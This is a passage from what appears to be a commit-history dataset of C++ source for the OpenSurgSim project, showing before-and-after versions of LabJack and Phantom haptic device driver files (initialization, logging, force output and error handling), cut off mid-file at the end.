either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"SurgSim\/Devices\/LabJack\/LabJackDevice.h\"\n\n#include \"SurgSim\/Devices\/LabJack\/LabJackScaffold.h\"\n#include \"SurgSim\/Framework\/Log.h\"\n\nnamespace SurgSim\n{\nnamespace Device\n{\n\nLabJackDevice::LabJackDevice(const std::string& uniqueName) :\n\tSurgSim::Input::CommonDevice(uniqueName, LabJackScaffold::buildDeviceInputData()),\n\tm_model(LabJack::MODEL_SEARCH),\n\tm_connection(LabJack::CONNECTION_SEARCH),\n\tm_address(\"\"),\n\tm_timerBase(LabJack::TIMERBASE_DEFAULT),\n\tm_timerClockDivisor(1),\n\tm_timerCounterPinOffset(0),\n\tm_threadRate(1000.0),\n\tm_analogInputResolution(0),\n\tm_analogInputSettling(0)\n{\n}\n\nLabJackDevice::~LabJackDevice()\n{\n\tif (isInitialized())\n\t{\n\t\tfinalize();\n\t}\n}\n\nbool LabJackDevice::initialize()\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice already initialized.\";\n\n\tif (getDigitalOutputs().size() > 0)\n\t{\n\t\tSURGSIM_ASSERT(hasOutputProducer()) << \"LabJackDevice named \" << getName() <<\n\t\t\t\" has digital output channels. An output producer is required, call setOutputProducer.\";\n\t}\n\n\tif (getAnalogOutputs().size() > 0)\n\t{\n\t\tSURGSIM_ASSERT(hasOutputProducer()) << \"LabJackDevice named \" << getName() <<\n\t\t\t\" has analog output channels. An output producer is required, call setOutputProducer.\";\n\t}\n\n\tif (getTimers().size() > 0)\n\t{\n\t\tSURGSIM_ASSERT(hasOutputProducer()) << \"LabJackDevice named \" << getName() <<\n\t\t\t\" has timers. An output producer is required, call setOutputProducer.\";\n\t}\n\n\tstd::shared_ptr<LabJackScaffold> scaffold = LabJackScaffold::getOrCreateSharedInstance();\n\tSURGSIM_ASSERT(scaffold) << \"LabJackDevice failed to get a LabJackScaffold.\";\n\n\tbool found = false;\n\t\/\/ registerDevice will set this object's type and\/or connection, if they are currently set to SEARCH.\n\tif (scaffold->registerDevice(this))\n\t{\n\t\tm_scaffold = std::move(scaffold);\n\t\tSURGSIM_LOG_INFO(m_scaffold->getLogger()) << \"Device \" << getName() << \": Initialized.\";\n\t\tfound = true;\n\t}\n\treturn found;\n}\n\nbool LabJackDevice::finalize()\n{\n\tSURGSIM_ASSERT(isInitialized()) << \"LabJackDevice has not been initialized before finalize.\";\n\tSURGSIM_LOG_INFO(m_scaffold->getLogger()) << \"Device \" << getName() << \": \" << \"Finalizing.\";\n\tconst bool ok = m_scaffold->unregisterDevice(this);\n\tm_scaffold.reset();\n\treturn ok;\n}\n\nbool LabJackDevice::isInitialized() const\n{\n\treturn (m_scaffold != nullptr);\n}\n\nvoid LabJackDevice::setModel(LabJack::Model model)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice's model cannot be set after it is initialized.\";\n\tm_model = model;\n}\n\nLabJack::Model LabJackDevice::getModel() const\n{\n\treturn m_model;\n}\n\nvoid LabJackDevice::setConnection(LabJack::Connection connection)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice's connection cannot be set after it is initialized.\";\n\tm_connection = connection;\n}\n\nLabJack::Connection LabJackDevice::getConnection() const\n{\n\treturn m_connection;\n}\n\nvoid LabJackDevice::setAddress(std::string address)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice's address cannot be set after it is initialized.\";\n\tm_address = address;\n}\n\nconst std::string& LabJackDevice::getAddress() const\n{\n\treturn m_address;\n}\n\nvoid LabJackDevice::enableDigitalInput(int channel)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"Digital input cannot be enabled for a LabJackDevice after it is initialized.\";\n\tm_digitalInputChannels.insert(channel);\n}\n\nconst std::unordered_set<int>& LabJackDevice::getDigitalInputs() const\n{\n\treturn m_digitalInputChannels;\n}\n\nvoid LabJackDevice::enableDigitalOutput(int channel)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"Digital output cannot be enabled for a LabJackDevice after it is initialized.\";\n\tm_digitalOutputChannels.insert(channel);\n}\n\nconst std::unordered_set<int>& LabJackDevice::getDigitalOutputs() const\n{\n\treturn m_digitalOutputChannels;\n}\n\nvoid LabJackDevice::setTimerBase(LabJack::TimerBase base)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice's timer base cannot be set after it is initialized.\";\n\tm_timerBase = base;\n}\n\nLabJack::TimerBase LabJackDevice::getTimerBase() const\n{\n\treturn m_timerBase;\n}\n\nvoid LabJackDevice::setTimerClockDivisor(int divisor)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice's timer clock divisor cannot be set after it is initialized.\";\n\tm_timerClockDivisor = divisor;\n}\n\nint LabJackDevice::getTimerClockDivisor() const\n{\n\treturn m_timerClockDivisor;\n}\n\nvoid LabJackDevice::setTimerCounterPinOffset(int offset)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"LabJackDevice's timer\/counter pin offset cannot be set after it is initialized.\";\n\tm_timerCounterPinOffset = offset;\n}\n\nint LabJackDevice::getTimerCounterPinOffset() const\n{\n\treturn m_timerCounterPinOffset;\n}\n\nvoid LabJackDevice::enableTimer(int index, LabJack::TimerMode mode)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"Timers cannot be enabled for a LabJackDevice after it is initialized.\";\n\tm_timers[index] = mode;\n}\n\nconst std::unordered_map<int, LabJack::TimerMode>& LabJackDevice::getTimers() const\n{\n\treturn m_timers;\n}\n\nvoid LabJackDevice::setMaximumUpdateRate(double rate)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"LabJackDevice's maximum update rate cannot be set after it is initialized.\";\n\tm_threadRate = rate;\n}\n\ndouble LabJackDevice::getMaximumUpdateRate() const\n{\n\treturn m_threadRate;\n}\n\nvoid LabJackDevice::enableAnalogInput(int positiveChannel, LabJack::Range range, int negativeChannel)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"Analog inputs cannot be enabled for a LabJackDevice after it is initialized.\";\n\tLabJack::RangeAndOptionalNegativeChannel rangeAndOptionalNegativeChannel = {range,\n\t\tSurgSim::DataStructures::OptionalValue<int>(negativeChannel)};\n\tm_analogInputs[positiveChannel] = std::move(rangeAndOptionalNegativeChannel);\n}\n\nvoid LabJackDevice::enableAnalogInput(int channel, LabJack::Range range)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"Analog inputs cannot be enabled for a LabJackDevice after it is initialized.\";\n\tLabJack::RangeAndOptionalNegativeChannel rangeAndOptionalNegativeChannel = {range,\n\t\tSurgSim::DataStructures::OptionalValue<int>()};\n\tm_analogInputs[channel] = std::move(rangeAndOptionalNegativeChannel);\n}\n\nconst std::unordered_map<int, LabJack::RangeAndOptionalNegativeChannel>& LabJackDevice::getAnalogInputs() const\n{\n\treturn m_analogInputs;\n}\n\nvoid LabJackDevice::enableAnalogOutput(int channel)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"Analog outputs cannot be enabled for a LabJackDevice after it is initialized.\";\n\tm_analogOutputChannels.insert(channel);\n}\n\nconst std::unordered_set<int>& LabJackDevice::getAnalogOutputs() const\n{\n\treturn m_analogOutputChannels;\n}\n\nvoid LabJackDevice::setAnalogInputResolution(int resolution)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"Analog input resolution cannot be set for a LabJackDevice after it is initialized.\";\n\tm_analogInputResolution = resolution;\n}\n\nint LabJackDevice::getAnalogInputResolution() const\n{\n\treturn m_analogInputResolution;\n}\n\nvoid LabJackDevice::setAnalogInputSettling(int settling)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"Analog input settling time cannot be set for a LabJackDevice after it is initialized.\";\n\tm_analogInputSettling = settling;\n}\n\nint LabJackDevice::getAnalogInputSettling() const\n{\n\treturn m_analogInputSettling;\n}\n\n}; \/\/ namespace Device\n}; \/\/ namespace SurgSim\n<commit_msg>LabJackDevice logs to Warning if it has outputs but no OutputProducer. Inputs will work fine, so it does not assert. No longer checks for timers, which can work without output data.<commit_after>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"SurgSim\/Devices\/LabJack\/LabJackDevice.h\"\n\n#include \"SurgSim\/Devices\/LabJack\/LabJackScaffold.h\"\n#include \"SurgSim\/Framework\/Log.h\"\n\nnamespace SurgSim\n{\nnamespace Device\n{\n\nLabJackDevice::LabJackDevice(const std::string& uniqueName) :\n\tSurgSim::Input::CommonDevice(uniqueName, LabJackScaffold::buildDeviceInputData()),\n\tm_model(LabJack::MODEL_SEARCH),\n\tm_connection(LabJack::CONNECTION_SEARCH),\n\tm_address(\"\"),\n\tm_timerBase(LabJack::TIMERBASE_DEFAULT),\n\tm_timerClockDivisor(1),\n\tm_timerCounterPinOffset(0),\n\tm_threadRate(1000.0),\n\tm_analogInputResolution(0),\n\tm_analogInputSettling(0)\n{\n}\n\nLabJackDevice::~LabJackDevice()\n{\n\tif (isInitialized())\n\t{\n\t\tfinalize();\n\t}\n}\n\nbool LabJackDevice::initialize()\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice already initialized.\";\n\n\tstd::shared_ptr<LabJackScaffold> scaffold = LabJackScaffold::getOrCreateSharedInstance();\n\tSURGSIM_ASSERT(scaffold) << \"LabJackDevice failed to get a LabJackScaffold.\";\n\n\tif (getDigitalOutputs().size() > 0)\n\t{\n\t\tSURGSIM_LOG_IF(!hasOutputProducer(), scaffold->getLogger(), WARNING) << \"LabJackDevice named \" << getName() <<\n\t\t\t\" has digital output channels but no output producer to provide the output data. Call setOutputProducer.\";\n\t}\n\n\tif (getAnalogOutputs().size() > 0)\n\t{\n\t\tSURGSIM_LOG_IF(!hasOutputProducer(), scaffold->getLogger(), WARNING) << \"LabJackDevice named \" << getName() <<\n\t\t\t\" has analog output channels but no output producer to provide the output data. Call setOutputProducer.\";\n\t}\n\n\tbool found = false;\n\t\/\/ registerDevice will set this object's type and\/or connection, if they are currently set to SEARCH.\n\tif (scaffold->registerDevice(this))\n\t{\n\t\tm_scaffold = std::move(scaffold);\n\t\tSURGSIM_LOG_INFO(m_scaffold->getLogger()) << \"Device \" << getName() << \": Initialized.\";\n\t\tfound = true;\n\t}\n\treturn found;\n}\n\nbool LabJackDevice::finalize()\n{\n\tSURGSIM_ASSERT(isInitialized()) << \"LabJackDevice has not been initialized before finalize.\";\n\tSURGSIM_LOG_INFO(m_scaffold->getLogger()) << \"Device \" << getName() << \": \" << \"Finalizing.\";\n\tconst bool ok = m_scaffold->unregisterDevice(this);\n\tm_scaffold.reset();\n\treturn ok;\n}\n\nbool LabJackDevice::isInitialized() const\n{\n\treturn (m_scaffold != nullptr);\n}\n\nvoid LabJackDevice::setModel(LabJack::Model model)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice's model cannot be set after it is initialized.\";\n\tm_model = model;\n}\n\nLabJack::Model LabJackDevice::getModel() const\n{\n\treturn m_model;\n}\n\nvoid LabJackDevice::setConnection(LabJack::Connection connection)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice's connection cannot be set after it is initialized.\";\n\tm_connection = connection;\n}\n\nLabJack::Connection LabJackDevice::getConnection() const\n{\n\treturn m_connection;\n}\n\nvoid LabJackDevice::setAddress(std::string address)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice's address cannot be set after it is initialized.\";\n\tm_address = address;\n}\n\nconst std::string& LabJackDevice::getAddress() const\n{\n\treturn m_address;\n}\n\nvoid LabJackDevice::enableDigitalInput(int channel)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"Digital input cannot be enabled for a LabJackDevice after it is initialized.\";\n\tm_digitalInputChannels.insert(channel);\n}\n\nconst std::unordered_set<int>& LabJackDevice::getDigitalInputs() const\n{\n\treturn m_digitalInputChannels;\n}\n\nvoid LabJackDevice::enableDigitalOutput(int channel)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"Digital output cannot be enabled for a LabJackDevice after it is initialized.\";\n\tm_digitalOutputChannels.insert(channel);\n}\n\nconst std::unordered_set<int>& LabJackDevice::getDigitalOutputs() const\n{\n\treturn m_digitalOutputChannels;\n}\n\nvoid LabJackDevice::setTimerBase(LabJack::TimerBase base)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice's timer base cannot be set after it is initialized.\";\n\tm_timerBase = base;\n}\n\nLabJack::TimerBase LabJackDevice::getTimerBase() const\n{\n\treturn m_timerBase;\n}\n\nvoid LabJackDevice::setTimerClockDivisor(int divisor)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"LabJackDevice's timer clock divisor cannot be set after it is initialized.\";\n\tm_timerClockDivisor = divisor;\n}\n\nint LabJackDevice::getTimerClockDivisor() const\n{\n\treturn m_timerClockDivisor;\n}\n\nvoid LabJackDevice::setTimerCounterPinOffset(int offset)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"LabJackDevice's timer\/counter pin offset cannot be set after it is initialized.\";\n\tm_timerCounterPinOffset = offset;\n}\n\nint LabJackDevice::getTimerCounterPinOffset() const\n{\n\treturn m_timerCounterPinOffset;\n}\n\nvoid LabJackDevice::enableTimer(int index, LabJack::TimerMode mode)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"Timers cannot be enabled for a LabJackDevice after it is initialized.\";\n\tm_timers[index] = mode;\n}\n\nconst std::unordered_map<int, LabJack::TimerMode>& LabJackDevice::getTimers() const\n{\n\treturn m_timers;\n}\n\nvoid LabJackDevice::setMaximumUpdateRate(double rate)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"LabJackDevice's maximum update rate cannot be set after it is initialized.\";\n\tm_threadRate = rate;\n}\n\ndouble LabJackDevice::getMaximumUpdateRate() const\n{\n\treturn m_threadRate;\n}\n\nvoid LabJackDevice::enableAnalogInput(int positiveChannel, LabJack::Range range, int negativeChannel)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"Analog inputs cannot be enabled for a LabJackDevice after it is initialized.\";\n\tLabJack::RangeAndOptionalNegativeChannel rangeAndOptionalNegativeChannel = {range,\n\t\tSurgSim::DataStructures::OptionalValue<int>(negativeChannel)};\n\tm_analogInputs[positiveChannel] = std::move(rangeAndOptionalNegativeChannel);\n}\n\nvoid LabJackDevice::enableAnalogInput(int channel, LabJack::Range range)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"Analog inputs cannot be enabled for a LabJackDevice after it is initialized.\";\n\tLabJack::RangeAndOptionalNegativeChannel rangeAndOptionalNegativeChannel = {range,\n\t\tSurgSim::DataStructures::OptionalValue<int>()};\n\tm_analogInputs[channel] = std::move(rangeAndOptionalNegativeChannel);\n}\n\nconst std::unordered_map<int, LabJack::RangeAndOptionalNegativeChannel>& LabJackDevice::getAnalogInputs() const\n{\n\treturn m_analogInputs;\n}\n\nvoid LabJackDevice::enableAnalogOutput(int channel)\n{\n\tSURGSIM_ASSERT(!isInitialized()) << \"Analog outputs cannot be enabled for a LabJackDevice after it is initialized.\";\n\tm_analogOutputChannels.insert(channel);\n}\n\nconst std::unordered_set<int>& LabJackDevice::getAnalogOutputs() const\n{\n\treturn m_analogOutputChannels;\n}\n\nvoid LabJackDevice::setAnalogInputResolution(int resolution)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"Analog input resolution cannot be set for a LabJackDevice after it is initialized.\";\n\tm_analogInputResolution = resolution;\n}\n\nint LabJackDevice::getAnalogInputResolution() const\n{\n\treturn m_analogInputResolution;\n}\n\nvoid LabJackDevice::setAnalogInputSettling(int settling)\n{\n\tSURGSIM_ASSERT(!isInitialized()) <<\n\t\t\"Analog input settling time cannot be set for a LabJackDevice after it is initialized.\";\n\tm_analogInputSettling = settling;\n}\n\nint LabJackDevice::getAnalogInputSettling() const\n{\n\treturn m_analogInputSettling;\n}\n\n}; \/\/ namespace Device\n}; \/\/ namespace SurgSim\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"SurgSim\/Devices\/Phantom\/PhantomDevice.h\"\n\n#include <iostream>\n#include <iomanip>\n\n#include <HD\/hd.h>\n\n#include <SurgSim\/Math\/Vector.h>\n#include <SurgSim\/Math\/Matrix.h>\n#include <SurgSim\/Math\/RigidTransform.h>\n#include <SurgSim\/Framework\/Log.h>\n#include <SurgSim\/Devices\/Phantom\/PhantomManager.h>\n#include <SurgSim\/DataStructures\/DataGroup.h>\n#include <SurgSim\/DataStructures\/DataGroupBuilder.h>\n\nusing SurgSim::Math::Vector3d;\nusing SurgSim::Math::Matrix44d;\nusing SurgSim::Math::Matrix33d;\nusing SurgSim::Math::RigidTransform3d;\n\nusing SurgSim::DataStructures::DataGroup;\nusing SurgSim::DataStructures::DataGroupBuilder;\n\n\nnamespace SurgSim\n{\nnamespace Device\n{\n\n\nstruct PhantomDevice::State\n{\n\t\/\/\/ Initialize the state.\n\tState() : hHD(HD_INVALID_HANDLE)\n\t{\n\t\tfor (int i = 0; i < 3; ++i)\n\t\t{\n\t\t\tpositionBuffer[i] = 0;\n\t\t}\n\t\tfor (int i = 0; i < 16; ++i)\n\t\t{\n\t\t\ttransformBuffer[i] = (i % 5) ? 0 : 1; \/\/ initialize to identity matrix\n\t\t}\n\t\tbuttonsBuffer = 0;\n\n\n\t\tfor (int i = 0; i < 3; ++i)\n\t\t{\n\t\t\tforceBuffer[i] = 0;\n\t\t}\n\t}\n\n\t\/\/\/ The device handle.\n\tHHD hHD;\n\n\t\/\/\/ The raw position read from the device.\n\tdouble positionBuffer[3];\n\t\/\/\/ The raw pose transform read from the device.\n\tdouble transformBuffer[16];\n\t\/\/\/ The raw button state read from the device.\n\tint buttonsBuffer;\n\t\/\/\/ The raw force to be written to the device.\n\tdouble forceBuffer[3];\n};\n\nPhantomDevice::PhantomDevice(const PhantomManager& manager, const std::string& uniqueName,\n const std::string& initializationName) :\n\tSurgSim::Input::CommonDevice(uniqueName, buildInputData()),\n\tm_logger(manager.getLogger()),\n\tm_initializationName(initializationName),\n\tm_messageLabel(\"Device \" + uniqueName + \": \"),\n\tm_state(new State)\n{\n}\n\nPhantomDevice::~PhantomDevice()\n{\n\tfinalize(); \/\/ it's OK if we finalized already\n}\n\nbool PhantomDevice::initialize()\n{\n\tHHD hHD = HD_INVALID_HANDLE;\n\tif (m_initializationName.length() > 0)\n\t{\n\t\thHD = hdInitDevice(m_initializationName.c_str());\n\t}\n\telse\n\t{\n\t\thHD = hdInitDevice(HD_DEFAULT_DEVICE);\n\t}\n\n\tif (checkForFatalError(\"Failed to initialize\"))\n\t{\n\t\t\/\/ HDAPI error message already logged\n\t\tSURGSIM_LOG_INFO(m_logger) << std::endl <<\n\t\t \" OpenHaptics device name: '\" << m_initializationName << \"'\" << std::endl;\n\t\treturn false;\n\t}\n\telse if (hHD == HD_INVALID_HANDLE)\n\t{\n\t\tSURGSIM_LOG_SEVERE(m_logger) << m_messageLabel << \"Failed to initialize\" << std::endl <<\n\t\t \" Error details: unknown (HDAPI returned an invalid handle)\" << std::endl <<\n\t\t \" OpenHaptics device name: '\" << m_initializationName << \"'\" << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Enable forces.\n\thdMakeCurrentDevice(hHD);\n\thdEnable(HD_FORCE_OUTPUT);\n\tcheckForFatalError(\"Couldn't enable forces\");\n\n\tm_state->hHD = hHD;\n\n\tSURGSIM_LOG_INFO(m_logger) << m_messageLabel << \"Initialized.\" << std::endl <<\n\t \" OpenHaptics device name: '\" << m_initializationName << \"'\" << std::endl;\n\n\treturn true;\n}\n\nbool PhantomDevice::finalize()\n{\n\tHHD hHD = m_state->hHD;\n\tif (hHD == HD_INVALID_HANDLE)\n\t{\n\t\treturn false;\n\t}\n\n\tSURGSIM_LOG_DEBUG(m_logger) << m_messageLabel << \"Finalizing.\";\n\thdDisableDevice(hHD);\n\tm_state->hHD = HD_INVALID_HANDLE;\n\treturn true;\n}\n\nbool PhantomDevice::update()\n{\n\t\/\/ TODO(bert): this code should cache the access indices.\n\n\t{\n\t\t\/\/ Use Eigen::Map to make the raw HDAPI output values look like Eigen data types\n\t\tEigen::Map<Vector3d> force(m_state->forceBuffer);\n\n\t\tVector3d forceValue;\n\t\tif (getOutputData().isValid() && getOutputData().vectors().get(\"force\", forceValue))\n\t\t{\n\t\t\tforce = forceValue;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tforce.setZero();\n\t\t}\n\t}\n\n\thdBeginFrame(m_state->hHD);\n\n\t\/\/ Receive the current device position (in millimeters!), pose transform, and button state bitmap.\n\thdGetDoublev(HD_CURRENT_POSITION, m_state->positionBuffer);\n\thdGetDoublev(HD_CURRENT_TRANSFORM, m_state->transformBuffer);\n\thdGetIntegerv(HD_CURRENT_BUTTONS, &(m_state->buttonsBuffer));\n\n\t\/\/ Set the force command (in newtons).\n\thdSetDoublev(HD_CURRENT_FORCE, m_state->forceBuffer);\n\t\/\/hdSetDoublev(HD_CURRENT_TORQUE, m_state->torqueBuffer);\n\n\thdEndFrame(m_state->hHD);\n\n\tbool fatalError = checkForFatalError(\"Error in device update\");\n\n\t{\n\t\t\/\/ Use Eigen::Map to make the raw HDAPI output values look like Eigen data types\n\t\tEigen::Map<Vector3d> position(m_state->positionBuffer);\n\t\tEigen::Map<Eigen::Matrix<double, 4, 4, Eigen::ColMajor>> transform(m_state->transformBuffer);\n\n\t\tRigidTransform3d pose;\n\t\tpose.linear() = transform.block<3,3>(0,0);\n\t\tpose.translation() = position * 0.001; \/\/ convert from millimeters to meters!\n\n\t\tgetInputData().poses().put(\"pose\", pose);\n\t\tgetInputData().booleans().put(\"button0\", (m_state->buttonsBuffer & HD_DEVICE_BUTTON_1) != 0);\n\t\tgetInputData().booleans().put(\"button1\", (m_state->buttonsBuffer & HD_DEVICE_BUTTON_2) != 0);\n\t\tgetInputData().booleans().put(\"button2\", (m_state->buttonsBuffer & HD_DEVICE_BUTTON_3) != 0);\n\t\tgetInputData().booleans().put(\"button3\", (m_state->buttonsBuffer & HD_DEVICE_BUTTON_4) != 0);\n\t}\n\n\treturn !fatalError;\n}\n\nDataGroup PhantomDevice::buildInputData()\n{\n\tDataGroupBuilder builder;\n\tbuilder.addPose(\"pose\");\n\tbuilder.addBoolean(\"button0\");\n\tbuilder.addBoolean(\"button1\");\n\tbuilder.addBoolean(\"button2\");\n\tbuilder.addBoolean(\"button3\");\n\treturn builder.createData();\n}\n\n\nbool PhantomDevice::checkForFatalError(const char* message)\n{\n\treturn checkForFatalError(m_logger, m_messageLabel.c_str(), message);\n}\n\nbool PhantomDevice::checkForFatalError(const std::shared_ptr<SurgSim::Framework::Logger>& logger,\n const char* prefix, const char* message)\n{\n\tHDErrorInfo error = hdGetError();\n\tif (error.errorCode == HD_SUCCESS)\n\t{\n\t\treturn false;\n\t}\n\n\t\/\/ The HD API maintains an error stack, so in theory there could be more than one error pending.\n\t\/\/ We do head recursion to get them all in the correct order.\n\tbool anotherFatalError = checkForFatalError(logger, prefix, message);\n\n\tbool isFatal = ((error.errorCode != HD_WARM_MOTORS) &&\n\t (error.errorCode != HD_EXCEEDED_MAX_FORCE) &&\n\t (error.errorCode != HD_EXCEEDED_MAX_FORCE_IMPULSE) &&\n\t (error.errorCode != HD_EXCEEDED_MAX_VELOCITY) &&\n\t (error.errorCode != HD_FORCE_ERROR));\n\n\tSURGSIM_LOG_SEVERE(logger) << prefix << message << std::endl <<\n\t \" Error text: '\" << hdGetErrorString(error.errorCode) << \"'\" << std::endl <<\n\t \" Error code: 0x\" << std::hex << std::setw(4) << std::setfill('0') << error.errorCode <<\n\t \" (internal: \" << std::dec << error.internalErrorCode << \")\" << std::endl;\n\n\treturn (isFatal || anotherFatalError);\n}\n\n}; \/\/ namespace Device\n}; \/\/ namespace SurgSim\n<commit_msg>Fix the Phantom device build after get\/set changes.<commit_after>\/\/ This file is a part of the OpenSurgSim project.\n\/\/ Copyright 2013, SimQuest Solutions Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"SurgSim\/Devices\/Phantom\/PhantomDevice.h\"\n\n#include <iostream>\n#include <iomanip>\n\n#include <HD\/hd.h>\n\n#include <SurgSim\/Math\/Vector.h>\n#include <SurgSim\/Math\/Matrix.h>\n#include <SurgSim\/Math\/RigidTransform.h>\n#include <SurgSim\/Framework\/Log.h>\n#include <SurgSim\/Devices\/Phantom\/PhantomManager.h>\n#include <SurgSim\/DataStructures\/DataGroup.h>\n#include <SurgSim\/DataStructures\/DataGroupBuilder.h>\n\nusing SurgSim::Math::Vector3d;\nusing SurgSim::Math::Matrix44d;\nusing SurgSim::Math::Matrix33d;\nusing SurgSim::Math::RigidTransform3d;\n\nusing SurgSim::DataStructures::DataGroup;\nusing SurgSim::DataStructures::DataGroupBuilder;\n\n\nnamespace SurgSim\n{\nnamespace Device\n{\n\n\nstruct PhantomDevice::State\n{\n\t\/\/\/ Initialize the state.\n\tState() : hHD(HD_INVALID_HANDLE)\n\t{\n\t\tfor (int i = 0; i < 3; ++i)\n\t\t{\n\t\t\tpositionBuffer[i] = 0;\n\t\t}\n\t\tfor (int i = 0; i < 16; ++i)\n\t\t{\n\t\t\ttransformBuffer[i] = (i % 5) ? 0 : 1; \/\/ initialize to identity matrix\n\t\t}\n\t\tbuttonsBuffer = 0;\n\n\n\t\tfor (int i = 0; i < 3; ++i)\n\t\t{\n\t\t\tforceBuffer[i] = 0;\n\t\t}\n\t}\n\n\t\/\/\/ The device handle.\n\tHHD hHD;\n\n\t\/\/\/ The raw position read from the device.\n\tdouble positionBuffer[3];\n\t\/\/\/ The raw pose transform read from the device.\n\tdouble transformBuffer[16];\n\t\/\/\/ The raw button state read from the device.\n\tint buttonsBuffer;\n\t\/\/\/ The raw force to be written to the device.\n\tdouble forceBuffer[3];\n};\n\nPhantomDevice::PhantomDevice(const PhantomManager& manager, const std::string& uniqueName,\n const std::string& initializationName) :\n\tSurgSim::Input::CommonDevice(uniqueName, buildInputData()),\n\tm_logger(manager.getLogger()),\n\tm_initializationName(initializationName),\n\tm_messageLabel(\"Device \" + uniqueName + \": \"),\n\tm_state(new State)\n{\n}\n\nPhantomDevice::~PhantomDevice()\n{\n\tfinalize(); \/\/ it's OK if we finalized already\n}\n\nbool PhantomDevice::initialize()\n{\n\tHHD hHD = HD_INVALID_HANDLE;\n\tif (m_initializationName.length() > 0)\n\t{\n\t\thHD = hdInitDevice(m_initializationName.c_str());\n\t}\n\telse\n\t{\n\t\thHD = hdInitDevice(HD_DEFAULT_DEVICE);\n\t}\n\n\tif (checkForFatalError(\"Failed to initialize\"))\n\t{\n\t\t\/\/ HDAPI error message already logged\n\t\tSURGSIM_LOG_INFO(m_logger) << std::endl <<\n\t\t \" OpenHaptics device name: '\" << m_initializationName << \"'\" << std::endl;\n\t\treturn false;\n\t}\n\telse if (hHD == HD_INVALID_HANDLE)\n\t{\n\t\tSURGSIM_LOG_SEVERE(m_logger) << m_messageLabel << \"Failed to initialize\" << std::endl <<\n\t\t \" Error details: unknown (HDAPI returned an invalid handle)\" << std::endl <<\n\t\t \" OpenHaptics device name: '\" << m_initializationName << \"'\" << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Enable forces.\n\thdMakeCurrentDevice(hHD);\n\thdEnable(HD_FORCE_OUTPUT);\n\tcheckForFatalError(\"Couldn't enable forces\");\n\n\tm_state->hHD = hHD;\n\n\tSURGSIM_LOG_INFO(m_logger) << m_messageLabel << \"Initialized.\" << std::endl <<\n\t \" OpenHaptics device name: '\" << m_initializationName << \"'\" << std::endl;\n\n\treturn true;\n}\n\nbool PhantomDevice::finalize()\n{\n\tHHD hHD = m_state->hHD;\n\tif (hHD == HD_INVALID_HANDLE)\n\t{\n\t\treturn false;\n\t}\n\n\tSURGSIM_LOG_DEBUG(m_logger) << m_messageLabel << \"Finalizing.\";\n\thdDisableDevice(hHD);\n\tm_state->hHD = 